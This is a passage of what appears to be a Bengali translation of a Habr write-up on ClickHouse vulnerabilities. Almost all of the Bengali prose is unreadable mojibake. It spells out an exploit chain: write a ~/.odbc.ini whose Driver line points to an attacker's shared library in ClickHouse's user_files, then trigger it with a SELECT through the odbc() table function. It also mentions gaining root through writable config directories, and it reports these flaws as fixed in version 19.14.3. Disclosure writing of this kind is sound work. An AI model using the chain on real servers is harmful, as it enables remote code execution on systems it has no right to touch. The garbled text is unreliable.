āĻ§āĻŋāĻāĻžāĻ° āĻ¸āĻš āĻ¸āĻāĻ°āĻā§āĻˇāĻŖ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛ āĻā§āĻ˛āĻŋāĻ āĻšāĻžāĻāĻ¸ āĻĄāĻŋāĻĢāĻ˛ā§āĻ. āĻ¸ā§āĻāĻŋāĻāĻ¸ āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋ āĻšāĻ˛ XML āĻĢāĻžāĻāĻ˛ āĻ¯āĻž āĻĒāĻ°āĻŋāĻˇā§āĻŦāĻžāĻāĻŋ āĻ¸ā§āĻāĻžāĻ°ā§āĻāĻāĻĒā§ āĻĒāĻĄāĻŧā§ āĻāĻŦāĻ āĻ¤āĻžāĻ°āĻĒāĻ°ā§ āĻā§āĻ¯āĻžāĻļā§ āĻāĻ°ā§ā§ˇ /var/lib/clickhouse/preprocessed_configs
. āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻāĻ˛ā§, āĻ¸ā§āĻā§āĻ˛āĻŋ āĻĒā§āĻ¨āĻ°āĻžāĻ¯āĻŧ āĻĒāĻĄāĻŧāĻž āĻšāĻ¯āĻŧāĨ¤ āĻāĻĒāĻ¨āĻžāĻ° āĻ¯āĻĻāĻŋ āĻ
ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ āĻĨāĻžāĻā§ /etc/clickhouse-server
āĻāĻāĻāĻ¨ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§ āĻ¤āĻžāĻ° āĻ¨āĻŋāĻā§āĻ° āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§ root
.
ODBC āĻĨā§āĻā§ RCE
āĻāĻāĻāĻŋ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻāĻ¨āĻ¸ā§āĻāĻ˛ āĻāĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ, āĻāĻāĻāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻāĻžāĻ°ā§ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻ¯āĻŧ clickhouse
, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻāĻ° āĻšā§āĻŽ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻ¯āĻŧ āĻ¨āĻž /nonexistent
. āĻ¯āĻžāĻāĻšā§āĻ, āĻŦāĻšāĻŋāĻ°āĻžāĻāĻ¤ āĻ
āĻāĻŋāĻ§āĻžāĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ, āĻŦāĻž āĻ
āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻāĻžāĻ°āĻŖā§, āĻĒā§āĻ°āĻļāĻžāĻ¸āĻāĻ°āĻž āĻāĻāĻāĻŋ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ āĻ¤ā§āĻ°āĻŋ āĻāĻ°ā§ /nonexistent
āĻāĻŦāĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻāĻžāĻ°ā§āĻā§ āĻĻāĻŋāĻ¨ clickhouse
āĻāĻāĻŋāĻ¤ā§ āĻ˛āĻŋāĻāĻ¤ā§ āĻ
ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ (SSZB! āĻĒā§āĻ°āĻžāĻ¯āĻŧ. āĻ
āĻ¨ā§āĻŦāĻžāĻĻāĻ).
āĻā§āĻ˛āĻŋāĻ āĻšāĻžāĻāĻ¸ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ āĻāĻ°ā§ odbc-bridge
, āĻ¤āĻžāĻ āĻ
āĻ¨ā§āĻ°ā§āĻ§ āĻĨā§āĻā§ āĻĄā§āĻ°āĻžāĻāĻāĻžāĻ° āĻĒāĻžāĻĨ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻ āĻāĻ°āĻž āĻāĻ° āĻ¸āĻŽā§āĻāĻŦ āĻ¨āĻ¯āĻŧāĨ¤ āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻāĻāĻāĻ¨ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§ āĻāĻŋ āĻāĻĒāĻ°ā§ āĻŦāĻ°ā§āĻŖāĻŋāĻ¤ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻšā§āĻŽ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋāĻ¤ā§ āĻ˛āĻŋāĻāĻ¤ā§ āĻĒāĻžāĻ°ā§?
āĻāĻ° āĻāĻāĻāĻŋ āĻĢāĻžāĻāĻ˛ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻ¯āĻžāĻ ~/.odbc.ini
āĻāĻ āĻŽāĻ¤ āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ¸āĻš:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
āĻ¤āĻžāĻ°āĻĒāĻ° āĻ¸ā§āĻāĻžāĻ°ā§āĻāĻāĻĒā§ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
āĻ˛āĻžāĻāĻŦā§āĻ°ā§āĻ°āĻŋ āĻ˛ā§āĻĄ āĻāĻ°āĻž āĻšāĻŦā§ test.so
āĻāĻŦāĻ RCE āĻĒā§āĻ¯āĻŧā§āĻā§ (āĻ§āĻ¨ā§āĻ¯āĻŦāĻžāĻĻ
āĻā§āĻ˛āĻŋāĻāĻšāĻžāĻāĻ¸ āĻ¸āĻāĻ¸ā§āĻāĻ°āĻŖ 19.14.3-āĻ āĻāĻāĻā§āĻ˛āĻŋ āĻāĻŦāĻ āĻ āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻžāĻā§āĻ˛āĻŋ āĻ¸āĻāĻļā§āĻ§āĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§ā§ˇ āĻāĻĒāĻ¨āĻžāĻ° ClickHouse āĻāĻŦāĻ ZooKeepers āĻ¯āĻ¤ā§āĻ¨ āĻ¨āĻŋāĻ¨!
āĻāĻ¤ā§āĻ¸: www.habr.com